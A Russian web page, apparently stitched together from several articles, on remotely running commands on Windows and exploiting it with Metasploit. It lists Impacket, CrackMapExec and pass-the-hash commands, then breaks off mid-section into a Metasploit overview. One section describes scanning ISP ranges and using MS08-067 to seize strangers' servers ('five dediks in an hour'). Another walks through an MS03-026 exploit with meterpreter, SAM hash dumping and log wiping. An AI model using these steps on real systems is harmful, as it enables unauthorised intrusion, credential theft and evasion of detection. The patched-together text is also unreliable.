Как подключиться к виндовс 10 удаленно через metasploit

Обновлено: 02.07.2024

Эта статья содержит набор методов для подключения к удаленной системе Windows из Linux и примеры того, как выполнять команды на машинах Windows удаленно из Linux с помощью ряда различных инструментов. И мы рассмотрим как осуществлять удаленный доступ к системам Windows из Linux.

Она охватывает более 30 различных методов получения удаленной оболочки, удаленного выполнения команд или подключения к удаленному рабочему столу с использованием различных свободно доступных инструментов и утилит.

Существует множество различных инструментов, которые можно использовать для доступа к удаленному компьютеру с Windows из Linux и выполнения на нем команд. Вот список существующих инструментов, описанных в этой статье, которые можно использовать для этой задачи.

Инструменты для удаленной команды или удаленного доступа к оболочке:

Инструменты для удаленного графического отображения:

Все эти инструменты имеют открытый исходный код и свободно доступны в любом дистрибутиве Linux (Kali, Ubuntu, Debian, Arch, CentOS, RedHat, Parrot ..), включая платформы на основе UNIX, такие как BSD, Mac OS X и многие другие.

Большинство этих инструментов работают путем подключения к порту SMB (tcp / 445) на удаленном компьютере с Windows, но некоторые из них также используют другие интерфейсы, такие как WMI, MMC, DCOM, NetBIOS и, конечно, RDP или VNC в случае подключение к удаленному (графическому) рабочему столу.

Более подробная информация об этом включена в обзорную таблицу ниже.

Обзорная таблица

В следующей таблице приводится сводка всех методов удаленного доступа, описанных в этой статье.

Вы можете увидеть, какой тип удаленного выполнения возможен с использованием каждого метода, а также подробную информацию о том, какие сетевые порты используются во время соединения.

Удаленный доступ к системам Windows из Linux

Удаленный доступ к системам Windows из Linux

Удаленный доступ к системам Windows из Linux


Методы удаленного доступа из командной строки

Этот раздел содержит все методы удаленного доступа к командной строке, которые можно использовать для удаленного выполнения команд на машине Windows из Linux, включая создание интерактивной оболочки (cmd.exe или powershell.exe). ВАЖНО : Для использования этих методов необходимо предоставить учетные данные администратора. Это относится ко всем описанным ниже методам. Теперь перейдем к реальным методам и приемам.

Impacket

Impacket — это библиотека Python для работы с различными сетевыми протоколами Windows. Он используется многими различными инструментами тестирования на проникновение и содержит ряд методов для выполнения команд на удаленных компьютерах с Windows.

Impacket dcomexec.py RCE example

Вот как мы можем использовать Impacket для выполнения команд в удаленной системе Windows:

1. Impacket psexec.py

Это создаст интерактивную удаленную оболочку с помощью метода Psexec:

psexec.py "./Administrator:pass123"@192.168.0.1

2. Impacket dcomexec.py

Это создаст полуинтерактивную удаленную оболочку с использованием DCOM:

dcomexec.py "./Administrator:pass123"@192.168.0.1

3. Impacket smbexec.py

Это создаст полуинтерактивную удаленную оболочку через встроенные функции Windows SMB:

smbexec.py "./Administrator:pass123"@192.168.0.1

4. Impacket wmiexec.py

Это создаст полуинтерактивную удаленную оболочку с использованием WMI:

wmiexec.py "./Administrator:pass123"@192.168.0.1

5. Impacket atexec.py

Это выполнит команду удаленно через Atsvc:

atexec.py "./Administrator:pass123"@192.168.0.1 "whoami"

Примечание: Impacket также поддерживает метод аутентификации с использованием хеш-кода, что позволяет использовать NTLM-хэш вместо пароля. Вот пример с psexec.py:

psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76 "./Administrator"@192.168.0.1

Подробную информацию об этих методах с еще большим количеством примеров и снимков экрана можно найти здесь.

CrackMapExec

CrackMapExec — это швейцарский армейский нож пентеста. Он имеет множество полезных функций и интегрируется с рядом других проектов по обеспечению безопасности, таких как Mimikatz, Empire, PowerSploit или Metasploit.

Он также содержит ряд методов для выполнения команд на удаленных машинах Windows.

CrackMapExec winrm RCE method utilizing PSRemoting

Вот как использовать CrackMapExec для выполнения команд в удаленных системах:

6. CrackMapExec wmiexec

Это выполнит команду (CMD / PowerShell) удаленно с помощью WMI:

crackmapexec smb -d <DOMAIN> -u <USER> -p <PASSWORD> -x <COMMAND> <TARGET> crackmapexec smb -d . -u Administrator -p 'pass123' -x "whoami" 192.168.0.1

7. CrackMapExec atexec

Это выполнит команду (CMD / PowerShell) удаленно через Atsvc:

crackmapexec smb --exec-method atexec -d <DOMAIN> -u <USER> -p <PASSWORD> -x <COMMAND> <TARGET>

crackmapexec smb --exec-method atexec -d . -u Administrator -p 'pass123' -x "whoami" 192.168.0.1

8. CrackMapExec smbexec

Это выполнит команду (CMD / PowerShell) удаленно с использованием собственного SMB:

crackmapexec smb --exec-method smbexec -d <DOMAIN> -u <USER> -p <PASSWORD> -x <COMMAND> <TARGET>

crackmapexec smb --exec-method smbexec -d . -u Administrator -p 'pass123' -x "whoami" 192.168.0.1

9. CrackMapExec mmcexec

Это выполнит команду (CMD / PowerShell) удаленно через MMC:

crackmapexec smb --exec-method mmcexec -d <DOMAIN> -u <USER> -p <PASSWORD> -x <COMMAND> <TARGET>

crackmapexec smb --exec-method mmcexec -d . -u Administrator -p 'pass123' -x "whoami" 192.168.0.1

10. CrackMapExec winrm

Это выполнит команду (CMD / PowerShell) удаленно с помощью PSRemoting:

crackmapexec winrm -d <DOMAIN> -u <USER> -p <PASSWORD> -x <COMMAND> <TARGET>

crackmapexec winrm -d . -u Administrator -p 'pass123' -x "whoami" 192.168.0.1

Примечание: Хотя CrackMapExec позволяет запускать команду только в удаленной системе, мы все равно можем использовать ее для создания интерактивной оболочки с помощью командлета обратной оболочки PowerShell (например, некоторых из них ).

CrackMapExec также поддерживает передачу хэша NTLM вместо пароля (pass-the-hash). Вот пример с wmiexec:

crackmapexec smb -d <DOMAIN> -u <USER> -H <LM:NTLM> -x <COMMAND> <TARGET>

crackmapexec smb -d . -u Administrator -H aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76 -x "cmd /c whoami" 192.168.0.1

Более подробную информацию о CrackMapExec с примерами и скриншотами можно найти здесь.

Набор инструментов PTH

PTH Toolkit — это набор утилит, созданный пионерами техники передачи хеширования. Он содержит ряд полезных инструментов для подключения к удаленным машинам Windows, некоторые из которых также предназначены для выполнения команд в удаленных системах Windows.

pth-winexe RCE command example

Вот как использовать все функции удаленного доступа PTH Toolkit:

11. PTH Toolkit: pth-winexe

Это создаст интерактивную удаленную оболочку с использованием метода, подобного Psexec:

pth-winexe -U <DOMAIN>\\<USER>%<PASSWORD> --uninstall //<TARGET> <COMMAND>

pth-winexe -U ".\Administrator%pass123" --uninstall //192.168.0.1 cmd

Обратите внимание, что с помощью параметра «–system» pth-winexe также может автоматически расширяться до учетной записи «nt Authority \ system».

12. PTH Toolkit: pth-wmis

Это выполнит команду удаленно с помощью WMI:

pth-wmis -U ".\Administrator%pass123" //192.168.0.1 'cmd.exe /c whoami'

Обратите внимание, что этот конкретный метод не возвращает выходные данные команды. Если нам нужен результат, мы должны получить его с помощью дополнительной утилиты pth-smbget.

Примечание: PTH Toolkit, конечно, также поддерживает предоставление хеш-кода NTLM вместо пароля (pass-the-hash). Вот пример с pth-winexe:

pth-winexe -U <DOMAIN>\\<USER>%<LM|NTLM> --uninstall //<TARGET> <COMMAND>

pth-winexe -U ".\Administrator%aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76" --uninstall //192.168.0.1 cmd

Более подробную информацию о PTH Toolkit с примерами и скриншотами можно найти здесь:

Keimpx

Keimpx — это инструмент лаборатории NCC Group, разработанный для пентестинга сред Windows. Он имеет много интересных функций, таких как работа с общими сетевыми ресурсами или кустами реестра, сброс хэшей и удаленное извлечение файлов NTDS, и, конечно же, ряд методов для удаленного выполнения команд в системах Windows.

Keimpx svcshell remote semi-interactive shell

Вот как использовать Keimpx для удаленного выполнения команд.

Сначала нам нужно запустить Keimpx с целевым списком, к которому нужно подключиться. Здесь мы подключаемся к одной машине:

keimpx.py -D <DOMAIN> -U <USER> -P <PASSWORD> -t <TARGET>

keimpx.py -D . -U Administrator -P pass123 -t 192.168.0.1

Теперь будет интерактивное меню, в котором мы сможем выбрать, что мы хотим сделать.

Вот список всех поддерживаемых методов, доступных в меню для выполнения команд или создания оболочек:

13. Keimpx: svcexec

Это выполняет команду в удаленной системе с помощью службы Windows. Введите в меню:

s vcexec <COMMAND>

svcexec "dir c:\users"

14. Keimpx: svcexec SERVER

Метод svcexec SERVER также выполняет команду, но он разработан для более ограниченных систем, в которых нет доступных для записи сетевых ресурсов:

svcexec <COMMAND> SERVER

svcexec "dir c:\users" SERVER

15. Keimpx: svcshell

Это создаст полуинтерактивную оболочку в удаленной системе с помощью службы Windows:

svcshell

16. Keimpx: svcshell SERVER

Svcshell также поддерживает режим СЕРВЕРА, который может порождать удаленную оболочку в более ограниченных системах без какого-либо доступного для записи сетевого ресурса:


Тестирование на проникновение позволяет ответить на вопрос, как кто-то со злым умыслом может вмешаться в вашу сеть. Используя инструменты пентеста, «белые хакеры» и профессионалы в области безопасности могут на любом этапе разработки или развертывания исследовать сети и приложения на предмет недостатков и уязвимостей путем взлома системы.

Одним из таких средств пентеста является проект Metasploit. Этот фреймворк с открытым исходным кодом, созданный на Ruby, позволяет проводить тестирование с помощью командной строки или графического интерфейса. Его можно расширить, создавая собственные надстройки с поддержкой нескольких языков.

Что такое Metasploit Framework и как он используется?

Metasploit Framework — это мощнейший инструмент, который могут использовать как киберпреступники, так и «белые хакеры» и специалисты по проникновению для исследования уязвимостей в сетях и на серверах. Поскольку это фреймворк с открытым исходным кодом, его можно легко настроить и использовать на большинстве операционных систем.

С помощью Metasploit пентестеры могут использовать готовый или создать пользовательский код и вводить его в сеть для поиска слабых мест. В качестве еще одного способа поиска угроз, после идентификации и документирования недостатков, эту информацию можно использовать для устранения системных недостатков и определения приоритетности решений.

Краткая история Metasploit

Проект Metasploit был создан на языке Perl в 2003 году Эйч Ди Муром (H.D. Moore) при содействии основного разработчика Мэтта Миллера для использования в качестве портативного сетевого инструмента. Он был полностью переведен на язык Ruby к 2007 году, а в 2009 году лицензию приобрела Rapid7, и теперь этот инструмент остается частью ассортимента этой бостонской компании, специализирующейся на разработке систем обнаружения вторжений и инструментов эксплуатации уязвимостей систем удаленного доступа.

Этот фреймворк стал основным инструментом разработки эксплойтов и устранения уязвимостей. До Metasploit пентестерам приходилось выполнять все проверки вручную, используя различные инструменты, которые могли поддерживать или не поддерживать тестируемую платформу, а также вручную писать собственный код и внедрять его в сети. Дистанционное тестирование было чем-то экстраординарным, и это ограничивало работу специалиста по безопасности собственным регионом и местными компаниями, а организациям приходилось тратить целые состояния на собственных ИТ-консультантов или специалистов по безопасности.

Кто использует Metasploit?

Благодаря широкому спектру применений и доступному открытому исходному коду Metasploit используется самыми разными людьми, от профессионалов кибербезопасности до хакеров. Metasploit полезен для всех, кому нужен простой в установке и надежный инструмент, выполняющий свою работу независимо от платформы или языка. Это программное обеспечение пользуется популярностью у хакеров и широко доступно, что мотивирует специалистов по безопасности изучать платформу Metasploit, даже если сами они ей не пользуются.

Современная версия Metasploit содержит свыше 1677 эксплойтов для более 25 платформ, включая Android, PHP, Python, Java, Cisco и другие. Фреймворк также содержит около 500 единиц информационного наполнения («пейлоад»), среди которых вы найдёте:

  • Пейлоады для командной оболочки — позволяют пользователям запускать сценарии или случайные команды на хосте.
  • Динамические пейлады — позволяют тестировщикам генерировать уникальные пейлоады для обхода антивирусного программного обеспечения.
  • Пейлоады Meterpreter — позволяют пользователям перехватывать управление монитором устройства с помощью контроллера видеопамяти, захватывать сеансы, а также скачивать или загружать файлы.
  • Статические пейлоады — позволяют устанавливать переадресацию портов и обмен данными между сетями.

Сфера применения и преимущества Metasploit


Все, что вам нужно для использования Metasploit после его установки, — это получить информацию о цели либо путем сканирования портов, либо путем получения цифрового отпечатка операционной системы, либо с помощью сканера уязвимостей, чтобы найти способ проникнуть в сеть. Затем остается просто выбрать эксплойт и полезную нагрузку. В этом контексте эксплойт — это средство для выявления слабости в вашей сети или системе и использования этой уязвимости для получения доступа.
Платформа состоит из различных моделей и интерфейсов, которые включают: msfconsole на базе библиотеки curses, msfcli для всех функций msf из терминала или командной строки, Armitag — инструмент с графическим интерфейсом на Java, который используется для интеграции с MSF, а также веб-интерфейс сообщества Metasploit, поддерживающий удаленный пентест.

«Белые хакеры» и специалисты по пентесту, пытающиеся определить уязвимости или извлечь уроки из атак киберпреступников, должны понимать, что последние не афишируют своих действий. Киберпреступники отличаются скрытностью и любят работать через VPN-туннели, таким образом маскируя свой IP-адрес, а многие из них используют выделенный виртуальный сервер, чтобы избежать прерываний, которыми обычно страдают многие провайдеры виртуального хостинга. Эти два инструмента конфиденциальности также будут полезны для «белых хакеров», которые намереваются вступить в мир эксплойтов и пентеста с помощью Metasploit.

Как упоминалось выше, Metasploit предоставляет вам эксплойты, пейлоады, вспомогательные функции, кодировщики, перехватчики, шелл-код, а также послеэксплойтный код и NOP.

Вы можете получить сертификат специалиста Metasploit Pro онлайн, чтобы стать сертифицированным пентестером. Проходной балл для получения сертификата — 80%, а экзамен занимает около двух часов и разрешается пользоваться справочной литературой. Его стоимость составляет 195$, и после успешного прохождения вы сможете распечатать свой сертификат.
Перед экзаменом рекомендуется пройти учебный курс Metasploit и иметь профессиональные или рабочие знания в следующих областях:

  • ОС Windows и Linux;
  • сетевые протоколы;
  • системы управления уязвимостями;
  • основные концепции пентеста.

Как установить Metasploit

Metasploit доступен в виде программы установки с открытым исходным кодом, которую можно скачать с сайта Rapid7. Минимальные системные требования включают наличие последней версии браузера Chrome, Firefox или Explorer, а также

Операционная система:

  • Ubuntu Linux 14.04 или 16.04 LTS (рекомендуется) ;
  • Windows Server 2008 или 2012 R2;
  • Windows 7 SP1+, 8.1 или 10;
  • Red Hat Enterprise Linux Server 5.10, 6.5, 7.1 или новее.

Оборудование

  • процессор 2 ГГц;
  • минимум 4 ГБ ОЗУ (рекомендуется 8ГБ);
  • минимум 1 ГБ дискового пространства (рекомендуется 50ГБ).

После установки при запуске вы столкнетесь со следующими вариантами:

  • создание базы данных в /Users/joesmith/.msf4/db;
  • запуск Postgresql;
  • создание пользователей базы данных;
  • создание исходной схемы базы данных.

Учимся использовать Metasploit: советы

Легкость изучения Metasploit зависит от вашего знания Ruby. Однако, если вы знакомы с другими скриптовыми языками и языками программирования, например Python, перейти к работе с Metasploit не составит большого труда. В остальном это интуитивно понятный язык, который легко выучить на практике.

Поскольку этот инструмент требует от вас отключения вашей собственной системы защиты и позволяет генерировать вредоносный код, вы должны знать о потенциальных рисках. Если возможно, установите эту программу в отдельной системе, а не на вашем личном устройстве или компьютере, содержащем потенциально конфиденциальную информацию или имеющем доступ к такой информации. При пентесте с Metasploit вам следует использовать отдельное рабочее устройство.

Зачем нужно изучать Metasploit

Эта платформа необходима всем аналитикам безопасности или пентестерам. Это важное средство для обнаружения скрытых уязвимостей с помощью различных инструментов и утилит. Metasploit позволяет поставить себя на место хакера и использовать те же методы для разведки и проникновения в сети и серверы.

Вот схема типичной архитектуры Metasploit:


Пошаговая инструкция по Metasploit

Мы начнем краткое руководство по эксплойтам, предполагая, что ваша система и ОС соответствуют базовым требованиям. Чтобы настроить среду тестирования, понадобится скачать и установить Virtualbox , Kali и Metasploitable для создания виртуализированной хакерской машины. Вы можете загрузить и установить Windows XP или выше, чтобы создать третью виртуальную машину для этого эксплойта.

После установки инструментов для тестирования откройте консоль Metasploit. Она выглядит так:


Проще всего ввести в консоли команду help, чтобы отобразился список команд Metasploit и их описания. Это выглядит так:


Первый мощный и полезный инструмент, который вам нужен, — это графический интерфейс Armitage, который позволяет визуализировать цели и рекомендовать наиболее подходящие эксплойты для доступа к ним. Этот инструмент также показывает расширенные функции для более глубокого проникновения и дальнейшего тестирования после того, как было выполнено начальное проникновение с помощью эксплойта. Чтобы выбрать его в консоли, перейдите в Applications — Exploit Tools — Armitage («Приложения» — «Инструменты для эксплойтов» — Armitage).

После того, как на экране появится поле формы, введите хост, номер порта, идентификатор пользователя и пароль. Нажмите Enter после заполнения всех полей, и вы будете готовы к запуску эксплойта.

Ресурсы для изучения Metasploit

Одно из основных достоинств сообщества программного обеспечения с открытым кодом заключается в объединении ресурсов и обмене информацией. Это современное воплощение того, почему был создан интернет. Это средство, способствующее гибкости и дающее безграничные возможности для сотрудничества.

В связи с этим мы предлагаем список ресурсов, которые позволят вам в полной мере реализовать потенциал Matspoit.

Один из лучших ресурсов и первое место, которое вам следует посетить, — это собственная обширная база знаний Metasploit. Там вы найдете руководства для начинающих, метамодули, эксплойты, а также обнаруженные уязвимости и исправления для них. Вы также сможете узнать о различных типах сертификатов Metasploit и о том, как их получить.

Еще один полезный ресурс — Varonis Cyber Workshop. Он предлагает ряд учебных пособий и занятий с экспертами в области кибербезопасности.

Считается, что с каждой новой версией Windows становится все защищеннее и защищеннее. Даже специалисты АНБ США приложили свою тяжелую руку к улучшению безопасности винды. Но так ли хорошо защищена ОС Windows в действительности? Давай проверим вместе. На практике!

Готовим операционную

Для использования полученных префиксов в сканере nmap, необходимо их предварительно скопировать в файл — например, my_isp.txt, и поместить файл в рабочий каталог с nmap. Итак, поехали, команда запуска сканера будет выглядеть следующим образом:

nmap -T4 -A -v -PE -PS445 -PA445 -iL my_isp.txt

Отлично, в результате сканирования мы получили список хостов с запущенной службой сервера, которую видно из внешней сети, причем она ничем не прикрыта, хотя мелкомягкие еще в 2008 году настоятельно рекомендовали блокировать доступ из интернета к этому сервису. Интересно, что по каждому хосту nmap выдает подробную информацию о типе установленной ОС.

Виды shell: полезная нагрузка meterpreter и другие

В настоящее время считается, что полнофункциональный Meterpreter (МР) существует только под Windows, но на самом деле это не совсем так. Существует еще несколько версий MP, реализованных на PHP и JAVA. Впрочем, ты и сам можешь стать автором «полезной нагрузки» — например, скомпилировать TCL-сценарий shell-кода для Cisco IOS с помощью утилиты tclpro.exe и в дальнейшем использовать его для жестоких игр с железными кошками. Как так? Сам не понимаю :).

Стандартную полезную нагрузку MP можно использовать почти со всеми Windows-эксплойтами, включенными в Metasploit Framework, выбрав одну из следующих полезных нагрузок:

Кратко поясню суть каждой.

  1. bind_meterpreter— резервирует порт на целевой машине и ожидает соединения. После установления соединения происходит загрузка Meterpreter’a на целевой хост, текущее соединение продолжает использоваться для связи с удаленной машиной.
  2. reverse_meterpreter— сама соединяется с предварительно заданным хостом по указанному порту для дальнейшей загрузки Meterpreter’a. Затем установленное соединение используется для связи с удаленной машиной. Все хорошо, но для успешной реализации данного метода нам понадобится реальный IP-адрес (или устанавливай проброс нужных тебе портов через NAT).
  3. find_tag— осуществляет поиск дескриптора службы, обработанной эксплойтом, и использует его для загрузки Meterpreter’a на удаленную машину, после чего существующее соединение будет использовано для связи с ней. Этот вид полезной нагрузки является особенно интересным, поскольку тут не требуется открывать новое соединение — таким образом, существует возможность обхода практически любых конфигураций брандмауэров.
  4. bind_tcp— это обычный командный интерпретатор типа cmd.exe, естественно, без всяких дополнительных наворотов, как у Meterpreter`a. Он просто резервирует порт на целевой машине и загружает стандартную оболочку.

В зависимости от цели исследования системы может быть использована любая из этих полезных нагрузок. Так чего же мы ждем? Выбираем цель из списка, полученного в результате сканирования nmap, и подключаемся к ней. Для простоты эксперимента будем использовать простой командный интерпретатор в качестве полезной нагрузки.

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit> set PAYLOAD windows/vncinject/bind_tcp
PAYLOAD => windows/vncinject/bind_tcp
msf exploit(ms08_067_netapi) > set RHOST 192.168.0.3
RHOST => 192.168.0.3
msf exploit(ms08_067_netapi) > exploit

Захват сервера

Теперь из списка хостов, сгенерированных nmap, выберем IP-адрес под управлением ОС Windows 2003 Server — это и будет наша искомая цель (ведь ты, как настоящий сетевой гуру, хотя бы раз в жизни должен поиметь свой собственный дедик!). Для работы с сервером будем использовать все тот же эксплойт (exploit/windows/smb/ms08_067_netapi) и полезную нагрузку bind_meterpreter. В результате мы получаем доступ к командной оболочке через Meterpreter, после чего добавляем нового пользователя с помощью сценария token_adduser, предварительно повысив свои привилегии на удаленной машине до уровня SYSTEM с помощью команды use priv. Ну вот — у нас есть дедик, к которому ты можешь подключаться, используя удаленный рабочий стол. На нем мы можем установить прокси-сервер, FTP и многоемногое другое. В ходе эксперимента у меня получилось набрать пять дедиков примерно в течение часа. Я думаю, это круто!

Заключение

Если кто-то хочет просто жать на кнопку «exploit», чтобы Metasploit сразу выдавал готовые дедики, то скажу сразу — этого не будет: метод все равно требует времени и терпения. Уязвимость далеко не нова, и производители ПО уже приняли меры по ее локализации.

Так, если на удаленной машине установлен антивирус или правильно сконфигурирован центр обеспечения безопасности Windows, то скорее всего доступ к порту 445 из внешней сети получить просто не удастся. В частности, антивирус Касперского отреагирует на изменение системных файлов, своевременно информируя об этом пользователя. Хотя атака из локальной сети, скорее всего, приведет к тому, что система будет полностью скомпрометирована. Несмотря ни на что, все еще остается довольно широкое поле для экспериментов с безопасностью Windows, и ты можешь внести свой вклад в это дело. Непоправимый вклад :).

History

Компания Microsoft в свое время даже объявляла премию в размере $250 000 за информацию, которая будет способствовать поимке создателя этого червячка. «Но ведь это далекое прошлое!», — возразишь ты и будешь отчасти прав. Но только отчасти, так как сегодня ситуация не сильно изменилась.

Как взломать компьютер. Пример работы с Metasploit

Фреймворк Metasploit обладает тремя рабочими окружениями: msfconsole, msfcli и msfweb. Основным и наиболее предпочтительным из трех перечисленных вариантов является первый - msfconsole. Это окружение представляет из себя эффективный интерфейс командной строки со своим собственным набором команд и системным окружением.

Перед запуском Metasploit полезно было бы понять, что делают хотя бы некоторые его команды. Давайте составим ниже небольшой список наиболее распространенных и применимых на практике команд. Графическое представление вывода этих команд также будет представлено в этой статье и мы воспользуемся им для объяснения процесса пентестинга хостов в дальнейшем.

Список наиболее употребимых команд:

1) search : запустив команду search без указания ключевых слов, мы получим список всех доступных эксплойтов. Если значение имеет имя определенного сплоита, то этой командой мы ищем такой в базе данных системы.

2) show exploits: указав команду show exploits, мы получим список всех доступных на данный момент эксплойтов. Имеются версии последних под различные платформы и приложения, включая Windows, Linux, IIS, Apache и так далее. Это поможет вам понять работу фреймворка Metasploit и почувствовать его гибкость и эффективность.

3) show payloads: аналогично предыдущим командам show, показывает доступные в системе payload'ы. Запускаем команду show payloads и изучаем получившийся список.

4) show options: набрав в командной строке show options, вы увидите опции, которые вы можете использовать; и возможно, про некоторые из них вы уже успели забыть. Каждый эксплоит или payload имеет свой собственный набор опций, который вы можете использовать при работе с ними.

5) info : если вам нужна конкретная и полная информация о каком-либо эксплоите или payload'е, вы можете применить команду info. Скажем, вам нужно подробное описание payload'а winbind. Тогда мы набираем в командной строке info payload winbind и внимательно читаем справочную информацию по нему.

6) use : команда говорит фреймворку Metasploit запустить эсплоит с указанным конкретным именем.

7) set RHOST : указываем этой командой Metasploit определенный хост в сети для его изучения. Хост можно задать как по его имени, так и по IP-адресу.

8) set RPORT : задаем для Metasploit порт удаленной машины, по которому фреймворк должен подключиться к указанному хосту.

9) set payload : команда указывает имя payload'а, который будет использоваться.

10) set LPORT : задаем номер порта для payload'а на сервере, на котором был выполнен эксплоит. Это важно, так как номер этого порта открыт именно на сервере (он не может быть использован никакими другими службами этого сервера и не резервируется для административных нужд). Советую назначать такой номер из набора четырех случайных цифр, порядок которых начинается с 1024. И тогда у вас все будет хорошо. Также стоит упомянуть, что вам необходимо менять номер порта каждый раз, когда вы успешно запустите эксплоит на удаленной машине.

11) exploit: запущенный на данный момент эксплоит. Есть другая версия этой команды - rexploit, которая перезагружает код запущенного эксплоита и запускает его вновь. Эти две команды помогают вам работать с эксплоитами с минимальными усилиями, без перезапуска консоли.

12) help: команда help выдаст полный перечень всех доступных команд системы.

OS: Microsoft Windows Server 2003

IP: 192.168.42.129

OS: BackTrack 5

Metasploit version: Built in version of metasploit 3.8.0-dev

IP: 192.168.42.128

Шаг 1:

Запускаем сетевой сканер Nmap для анализа удаленного сервера по IP-адресу 192.168.42.129. В результате получаем вывод команды Nmap с перечнем открытых портов. Для наглядного примера смотрим на скриншот.


Шаг 2:

На нашей машине, в операционной системе BackTrack, переходим в меню по пути:

Application > BackTrack > Exploration Tools > Network Exploration Tools > Metasploit Framework > msfconsole

Во время запуска msfconsole выполняется стандартная проверка. Если все прошло хорошо, то мы увидим результат, как на скриншоте.


Шаг 3:

Теперь, когда мы знаем, что на удаленной машине открыт порт 135, ищем соответствующий эксплоит RPC в базе данных Metasploit. Для того, чтобы увидеть список всех эксплойтов, доступных в Metasploit, запустим команду show exploits. Мы увидим все, которые можно использовать в нашей системе.

В консоли msfconsole наберем команду search dcerpc для поиска всех эксплойтов, имена которых соответствует шаблону dcerpc. Все они могут применяться для получения доступа к серверу, используя уязвимости порта 135. Как только мы наберем в строке эту команду, получим список всех эксплойтов в окне msfconsole, как показано на скриншоте.


Шаг 4:

Теперь, когда мы имеем перед глазами список rpc-эксплойтов, нам нужна более полная информация по каждому из них, прежде чем применим его на практике. Для получения подробного описания конкретного сплоита, воспользуемся командой info exploit/windows/dcerpc/ms03_026_dcom. Что в итоге мы получим? Описание возможных целей; требования эксплоита; детальное описание самой уязвимости, используемой этим эксплойтом; а также ссылки, где мы можем найти более подробную информацию.

Шаг 5:

В общем случае запуск команды use запускает окружение указанного эксплоита. В нашем же случае мы будем использовать команду use exploit/windows/dcerpc/ms03_026_dcom для запуска этого сплоита.


Как видно на скриншоте, после запуска эксплоита командой exploit/windows/dcerpc/ms03_026_dcom подсказка командной строки изменилась с msf > на msf exploit(ms03_026_dcom) >. Это означает, что мы перешли во временное окружение этого эксплоита.

Шаг 6:

Теперь нам необходимо отредактировать конфигурационный файл сплоита, как требует того текущий сценарий. Команда show options покажет нам различные параметры, которые требуются для запущенного на данный момент эксплоита. В нашем случае, опции RPORT уже установлено значение 135. Нам осталось только задать значение параметра RHOST, выполняемое командой set RHOST.

Вводим в командной строке set RHOST 192.168.42.129 и видим результат - IP-адрес удаленного хоста выставлен именно на 192.168.42.129., как на скриншоте.


Шаг 7:

Последнее, что нам осталось сделать прежде чем запустить эксплоит - установить payload для него. Все доступные варианты payload'ов можно увидеть с помощью команды show payloads.


Как видно на скриншоте, команда show payloads покажет нам все payload'ы, которые совместимы с выбранным нами сплоитом. Для нашего случая мы используем запасной tcp meterpreter, задав его командой set PAYLOAD windows/meterpreter/reserve_tcp, что запустит командную оболочку на удаленном сервере, если к нему будет успешно получен доступ. Сейчас нам нужно снова запустить команду show options для того, чтобы убедиться в том, что все обязательные для заполнения поля имеют соответствующие значения. Только в этом случае эксплоит успешно запуститься.


Обратите внимание, что параметр LHOST для payload'а не установлен. Так что нам нужно установить локальный IP-адрес (например, 192.168.42.128) командой set LHOST 192.168.42.128.

Шаг 8:

Теперь, когда все готово и эксплоит отконфигурирован должным образом, настало время запустить его.

Мы можем воспользоваться командой check для того, чтобы убедиться в том, что наша машина-жертва доступна для выполнения на ней эксплоита. Эта опция имеется не для всех сплойтов. Например, на скриншоте хорошо видно, что в нашем случае это именно так.


Но ею стоит воспользоваться в любом случае. Это хорошая помощь со стороны системы в том плане, что позволяет удостовериться - удаленная машина еще не пропатчена эксплоитом, который вы собираетесь запустить. Другими словами - чтобы вы не запустили эксплоит на удаленной машине повторно.

В нашем же случае, как видно на скриншоте, выбранные нами эксплоиты не имеют поддержки опции check.

Команда exploit запускает выбранный сплоит, который выполняет все необходимые действия для того, чтобы на удаленной машине смог выполниться payload.


На скриншоте видно, что эксплоит успешно выполнился на удаленной машине с IP-адресом 192.168.42.129, используя уязвимость порта 135. Факт успешного выполнения эксплоита обозначается в командной строке сменой приглашения последней на meterpreter >.

Шаг 9:

Теперь, когда дополнительное соединение между жертвой и нашей машиной установлено, нам необходимо получить контроль над сервером. Мы можем воспользоваться help для получения списка всех доступных команд, которые мы можем выполнить на удаленном сервере для выполнения соответствующих действий.

Ниже показаны результаты некоторых команд meterpreter:


ipconfig - показывает конфигурационные данные всех TCP/IP-соединений, запущенных на удаленной машине;
getuid - отображает имя сервера в консоли;
hashdump - создает dump базы данных SAM;
clearev - затирает все следы вашего пребывания на удаленной машине, какие вы могли бы оставить там.

Таким образом, мы успешно использовали Metasploit фреймворк для получения доступа к удаленному серверу с запущенным на нем Windows 2003 Server. Мы предоставили себе возможность выполнять команды в командной оболочке, что дает нам право полностью контролировать удаленную машину и запускать любые задачи на ней, какие только нам потребуются.

Эта статья является поверхностным обзором по использованию фреймворка Metasploit. Здесь показано, как выполнить общий обзор вашей системы на предмет уязвимостей. Даже начальный опыт работы с Metasploit, приобретенный в этой статье, поможет вам понять принципы работы эксплойтов.

Читайте также: